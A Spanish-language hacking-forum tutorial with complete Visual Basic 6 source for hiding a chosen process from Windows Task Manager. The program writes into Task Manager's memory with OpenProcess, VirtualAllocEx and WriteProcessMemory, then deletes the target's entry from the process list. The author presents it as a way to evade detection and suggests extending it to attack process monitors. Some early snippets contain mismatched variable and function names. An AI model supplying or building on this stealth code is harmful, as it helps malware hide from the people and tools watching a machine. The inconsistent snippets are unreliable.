Ocultar Proceso en TaskMgr sin hooks

Estando aburrido en la casa y como el foro de juakerss.com taba jodido pues me puse a hacer un poco de loqueras de codigo en

vb pensando en que nadie, no me consta, ha hecho un programa para ocultar nuestro proceso, o mas bien un proceso deseado de

Administrador de tareas de windows he aqui el resultado, esta pequeña explicacion de como lo hice, con su codigo respectivo,

cabe hacer notar que hay distintos metodos para que no le cazen el proceso con el famoso Crtl+Alt+Sup, como abrir el adimin

de tareas y ocultarlo con una api, o eliminarlo(poco posible), o evitar que te lo cierren como colocandole al programa un

nombre de un servicio importante del sistema como lsass etc.. pero todo esto deja mucho que desear y sospechar. entonces...

primero que todo analicemos el problema, como no hay una api como en win9x para ocultar el proceso, nos toca hacerlo de la

manera dificil, tenemos la ventana del administrador de tareas, necesitamos mucha info de esa ventanita y muchas mas asi como

tambien una especie de vinculo con la aplicacion, podriamos colgarnosle, hacer un hook pero viendolo bien no es necesario,

veremos por que, obtenemos info, despues el vinculo o una direccion del proceso mas info y por ultimo la eliminacion de

nuestro proceso de la lista negra.

obteniendo informacion:
- necesitamos el Handle de ventana o manipulador de ventana, para saber que nos estamos refiriendo a esa ventana en

especial(administrador de tareas), consultando un poco la Win32 Programmer's Reference, me encuentro con la tipica api:

Código:

HWND FindWindow(
LPCTSTR lpClassName, // Puntero al nombre de la Clase
LPCTSTR lpWindowName // Puntero al Nombre de la Ventana
);

Esta api nos estrega tan deseado Handle, ya saben lo que hace, su mismo nombre lo dice, como podemos ver esta retorna HWND

que es lo que necesitamos y como parametros tiene dos Punteros a String o cadenas, en vb esta declaracion seria asi:

Código:

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

aqui vemos que esta es diferente porque retorna un long, pero no problem, como el Handle es un tipo de datos de 32bits y en

vb no hay tipo de dato Handle(HWND) utilizamos un long que tambien es de 32bits y listo.
Entonces las lineas de codigo para hallar el Handle serian estas:

Código:

Dim hWnd1 As Long
hWnd1 = FindWindow(vbNullString, "Administrador de tareas de Windows")

como en el segundo parametro estamos en high-order word pues 32bits entonces es NUll, Nulo, nada, cero.

como casi todos sabemos cada control, cada interfaz o cada parte de un programa debe tener tambien su Handle o manejador para

que el SO y el programa sepa con que se está o quiere comunicarse que como se comunican, pues por medio de mensajes, pero eso

lo veremos mas adelante. Entonces teniendo todo claro, craneamos: ese pingo Handle no nos va a servir para nada. pues si,

pero tenemos que llegar a nuestro objetivo central, el cual es, es, es, es, si la lista de procesos del Administrador de

Tareas, como llegamos hasta ese otro Handle?, veamos nuestra querida Win32 Programmer's Reference...

esto fue lo mas adecuado que encontramos:

Código:

BOOL EnumChildWindows(
HWND hWndParent, // handle a la ventana padre
WNDENUMPROC lpEnumFunc, // Puntero a la funcion callback
LPARAM lParam // Valor definido para la aplicacion
);

Que es lo que hace esta funcion, pues esta belleza enumera las ventanas hijo de la ventana padre pasandole el handle de cada

ventana a la funcion callback de un proceso o aplicacion definida, hasta que llegue a la ultima ventanita o cuando la funcion

que actua como callback retorne cero o Falso.
Pero que es eso de callback? esto quiere decir una funcion que cada vez que que otra funcion o la api lo requiera será

"llamada", y ésta a su vez retornara y sera vuelta a llamar, como un ciclo o mas bien como un proceso recursivo... bueno

vemos que esta api nos retorna un tipo de dato BOOL que es False, True, 0, 1 y que su primer parametro es en este caso el

Handle de la ventana del administrador de tareas, el segundo parametro es un puntero hacia la funcion que vamos a utilizar

como callback y el tercero es un valor de 32bits que queramos pasar a la funcion callback, esto en vb seria como sigue:

Código:

Public Declare Function EnumChildWindows Lib "user32" Alias "EnumChildWindows" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

lo unico que hay que explicar aqui es el segundo parametro, por que long?, pues facil, si es un puntero a lo que sea, un

puntero es de 32bits, entonces ya sabes, y si retorna false o 0 enton es que no sirvió, hay algo mal.-..-

Entonces el codigo quedaria mas o menos asi:

Código:

Dim hWnd1 As Long ', lParam As Long
hWnd1 = FindWindow(vbNullString, "Administrador de tareas de Windows")
HandleW = hWnd1
Label1.Caption = "Encontrada"
If (hWnd1 <= 0) Then
Label1.Caption = "No se ha encontrado el administrador de tareas"
else
EnumChildWindows hWnd1, AddressOf Procesitos, 1 'lParam
End If

le agregue lo del label para hacerlo mas interactivo, jeje.
vemos que nuestra callback se llama Procesitos y no se te olvide: cuando vamos a poner un puntero a una funcion esta debe

estar en un modulo y no en el codigo del form siendo "Private", gueno, lo que sigue de ahora en adelante va en un modulo

normal y corriente.

Por el momento nos concentraremos en la funcion Callback.

Siguiendo, nos preguntamos: pero si esta EnumChildWindows nos devuelve los handles de las ventanitas hijo del proceso padre,

como sabemos cual necesitamos? como necesitamos la lista que se encuentra en la pestaña Procesos del administrador de tareas,

y la podemos identificar por el nombre, pero y si hay dos nombres iguales, pos nos toca identificarlos por la clase, es decir

el tipo de control o de ventanita, para que te familiarices mas y si tienes las herramientas del VisualStudio

ve(Inicio->Programas->Microsoft Visual Studio 6.0-> Herramientas de Microsoft Visual Studio 6.0) y busca el programita

"Spy++" y en la lista que se presenta busca el Administrador de tareas y veras a lo que me refiero.

Entonces de nuevo recurrimos a nuestra Win32 Programmer's Reference, estas apis son muy utiles, y encontramos lo que

necesitamos:

Código:

int GetWindowText(
HWND hWnd, // handle de la ventana con el texto
LPTSTR lpString, // direccion del buffer para el texto
int nMaxCount // maximo numero de caracteres aceptado
);

int GetClassName(
HWND hWnd, // handle de la ventana
LPTSTR lpClassName, // direccion del buffer para el nombre de la clase
int nMaxCount // longitud del buffer en caracteres
);

creo que aqui no hay nada que explicar, en el segundo parametro se va a guardar lo que necesitamos, el nombre de la clase y

el nombre de la ventana, y el valor de retorno es un int que es el numero de caracteres almacenados en el buffer de los

nombres... veamos esto en vb.

Código:

Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

lo unico que cambia aqui es que estas retornan un long, ahora pensemos que control y que nombre necesitamos, para esto

recurrimos a la herramienta ya antes mensionada que viene con el visual studio que es el programita llamado Spy++ y buscamos

un control listview, mas exactamente "SysListView32" con nombre "Procesos", este control es nuestro objetivo de modificacion,

jejeje, pero primero pensemos: y si lo hallamos que, que hacemos con eso?, pues aqui viene la parte un poco mas complicadita

de la cuestion, mejor hagamos otro proceso o funcion para mejor orden en donde trataremos a bajo nivel la situacion, por

ahora veamos como va el codigo de la funcion callback Procesitos:

Código:

Public Function Procesitos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)

Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)

Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
JodeLosItems (hWnd2)
Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesos = False
Else
Procesos = True
End If
End Function

la parte dificil esta en la funcion que acabamos de crear llamada JodeLosItems con su unico parametro que es el handle del

ListView tenemos el handle ahora lo que vamos a hacer es obtener cuantos Items o elementos tiene la lista para posteriormente

abrir memoria y leer en que posision esta nuestro proceso, pues primero lo primero, obtniendo numero de elementos, como crees

que podemos obtenerlo?, recuerdas que mas arriba te hable de los Mensajes que se tiraban los procesos y los subpreocesos con

sus objetos y controles que es casi lo mismo, pues si toca tirarle un mensaje para ver que nos entrega:

Código:

LRESULT SendMessage(

HWND hWnd, // handle de la ventana de destino
UINT Msg, // mensaje a enviar
WPARAM wParam, // primer parametro del mensaje
LPARAM lParam // segundo parametro del mensaje
);

entendido?, para vb seria:

Código:

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

y para enviar el mensaje en el segundo parametro, tenemos que buscar el tipo de mensaje que le tenemos que enviar al ListView

para que nos de el numero de elementos de su lista, escudriñando la W.P.R. encuentro esto:

Código:

LVM_GETITEMCOUNT
wParam = 0;
lParam = 0;

el valor para LVM_GETITEMCOUNT es:

Código:

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Asi que si enviamos el mensaje de la siguiente forma:

Código:

nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)

bueno, en la variable nElem se almacenará el numero de procesos en la lista y he aqui lo dificil, planeemos bien, lo que

vamos a hacer es: obtener el pid (Identificador de Proceso) mediante el handle de ventana, recuerda handle de VENTANA, luego

reservaremos memoria en el proceso por medio del pid en donde obtendremos la direccion donde se ha reservado la memoria para

los parametros de el tipo de mensaje y la direccion donde se guardará el string que contendrá el nombre del proceso del

ListView, el handle del PROCESO tambien sera obtenido en este proceso, recuerda de proceso no de ventana!!, depues de esto

enviaremos un mensaje al ListView para que nos guarde el nombre del proceso en memoria y por ultimo leemos lo que ha guardado

todo esto irá en un "For" porque solo reservamos para 1 Item en los parametros del mensaje se da el numero de Item a obtener,

por ultimo comparamos los items y si es nuestro proceso enviaremos otro mensaje para que lo elimine y final final.

bueno empecemos:
- Obteniendo el pid

Código:

tid = GetWindowThreadProcessId(hListView, pid)

en tid se almacena solo el identificador del thread y en pid lo que necesitamos, el identificador de proceso.

- Reservando Memoria:
Primero que todo hagamos otra funcion para esto ya que la vamos a utilizar varias veces, esto quedaria asi:

Código:

DirMemComp = DameMemComp(pid, dwTam, hProceso)
DirMemComp2 = DameMemComp(pid, LenB(lt), hProceso)

en DirMemComp y DirMemComp2 se guardará la direccion donde se guardó la memoria reservada y dwTam es el tamaño en bytes de

una estructura li de tipo LV_ITEM donde dejaremos los parametros del mensaje, en lt la cadena o el tamaño de la cadena en que

se va a guardar el nombre del proceso y en hProceso se guarda el handle de Proceso del ListView, ahora veamos los parametros

o los flags de la estructura del mensaje:

Código:

li.lpszText = DirMemComp2 'Direccion donde se guardara el string
li.cchTextMax = 80 'Maximo de caracteres
li.iItem = i 'Item
li.mask = LVIF_TEXT 'Tipo

sin comentarios.

Este es el proceso que reserva memoria y obtiene el handle de Proceso:

Código:

Public Function DameMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
DameMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memSize, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

como podemos observar la api OpenProcess es la que nos entrega el handle de un proceso objeto, esta es su estructura:

Código:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // flags de acceso
BOOL bInheritHandle, // flag de handle de herencia
DWORD dwProcessId // Identificador de proceso
);

Public Declare Function OpenProcess Lib "kernel32" Alias "OpenProcess" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

PROCESS_VM_OPERATION es para poder utilizar la api VirtualAllocEx, PROCESS_VM_READ para ReadProcessMemory y

PROCESS_VM_WRITE para WriteProcessMemory, en el segundo parametro ponemos falso porque el handle no puede ser heredado por un

nuevo proceso y el ultimo parametro es el pid.

con VirtualAllocEx reservamos memoria.

Código:

LPVOID VirtualAllocEx(
HANDLE hProcess, // proceso al cual reservaremos memoria
LPVOID lpAddress, // direcion inicial donde se reservara
DWORD dwSize, // tamaño en bytes
DWORD flAllocationType, // tipo de reservacion
DWORD flProtect // tipo de proteccion de acceso
);

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As
Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long

el segundo parametro si lo dejamos en 0 ó NULL la funcion determinara donde reservar, el cuarto pararametro es un flag para

reservar en memoria fisica o en virtual y el ultimo habilita permisos de lectura y escritura en esa region.

Es ahora que usamos WriteProcessMemory para llenar el espacio reservado con li y lt:

Código:

WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo

WriteProcessMemory hProcess, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo

BOOL WriteProcessMemory(
HANDLE hProcess, // handle al proceso en el cual vamos a escribir
LPVOID lpBaseAddress, // direccion base de escritura
LPVOID lpBuffer, // puntero al buffer que vamos a escribir
DWORD nSize, // numero de bytes a escribir
LPDWORD lpNumberOfBytesWritten // numero de bytes escritos
);

Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

sin comentarios...

Es hora de enviar el mensaje:

Código:

Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)

y de leer lo que pedimos:

Código:

Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt,LenB(lt),lEscribiendo)

y por ultimo comparamos lo obtenido para ver si mandamos el mensaje de eliminacion de Item:

Código:

If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = "OSA.EXE" Then
Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
Exit Function
End If

y liberamos memoria con:

Código:

Call VirtualFreeEx(hProceso, ByVal MemDir, memTam, MEM_RELEASE)
CloseHandle hProceso

BOOL VirtualFreeEx(
HANDLE hProcess, // proceso al cual liberaremos memoria
LPVOID lpAddress, // direccion de inicio para liberar
DWORD dwSize, // tamaño en bytes de la region a liberar
DWORD dwFreeType // Tipo de liberacion de memoria
);

BOOL CloseHandle(
HANDLE hObject // handle al objeto a cerrar
);

eso es todo, me ha cogido el sueño y solo les digo que lo disfruten, por supuesto esto se puede optimizar mucho mas, eso y

las mejoras como revisar todos los procesos para ver si son monitores de procesos y joderlos se los dejo a ustedes, mucho ojo

que esto consume mas recursos que los que deberia, a continuacion les dejo el codigo completo de la mini aplicacion:

Código:

=========EN_UN_FORM===============

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Dim hWnd1 As Long ', lParam As Long
hWnd1 = FindWindow(vbNullString, "Administrador de tareas de Windows")
HandleW = hWnd1
Label1.Caption = "Encontrada"
If (hWnd1 <= 0) Then
Label1.Caption = "No se ha encontrado el administrador de tareas"
else
EnumChildWindows hWnd1, AddressOf Procesitos, 1 'lParam
End If
End Sub

=========EN_UN_MODULO=============

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal
dwProcessId As Long) As Long

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104

Public Type LV_ITEM
mask As Long
iItem As Long
iSubItem As Long
state As Long
stateMask As Long
lpszText As Long 'LPCSTR
cchTextMax As Long
iImage As Long
lParam As Long
iIndent As Long
End Type

Type LV_TEXT
sItemText As String * 80
End Type

Public Function Procesitos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)

Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)
Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
JodeLosItems (hWnd2)
Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesitos = False
Else
Procesitos = True
End If
End Function

Public Function JodeLosItems(ByVal hListView As Long) ' As Variant
Dim pid As Long, tid As Long
Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
Dim DirMemComp As Long, dwTam As Long
Dim DirMemComp2 As Long
Dim sLVItems() As String
Dim li As LV_ITEM
Dim lt As LV_TEXT
If hListView = 0 Then Exit Function
tid = GetWindowThreadProcessId(hListView, pid)
nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
If nElem = 0 Then Exit Function
ReDim sLVItems(nElem - 1)
li.cchTextMax = 80
dwTam = Len(li)
DirMemComp = DameMemComp(pid, dwTam, hProceso)
DirMemComp2 = DameMemComp(pid, LenB(lt), hProceso)
For i = 0 To nElem - 1
li.lpszText = DirMemComp2
li.cchTextMax = 80
li.iItem = i
li.mask = LVIF_TEXT
WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
lt.sItemText = Space(80)
WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = "OSA.EXE" Then '<===========CAMBIAR
Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
Exit Function
End If
Next i
AdiosMemComp hProceso, DirMemComp, dwTam
AdiosMemComp hProceso, DirMemComp2, LenB(lt)
End Function

Public Function DameMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
DameMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Public Sub AdiosMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
CloseHandle hProceso
End Sub
Public Function TrimNull(jaja As String) As String
Dim pos As Integer
pos = InStr(jaja, Chr$(0))
If pos Then
TrimNull = Left$(jaja, pos - 1)
Exit Function
End If
TrimNull = jaja
End Function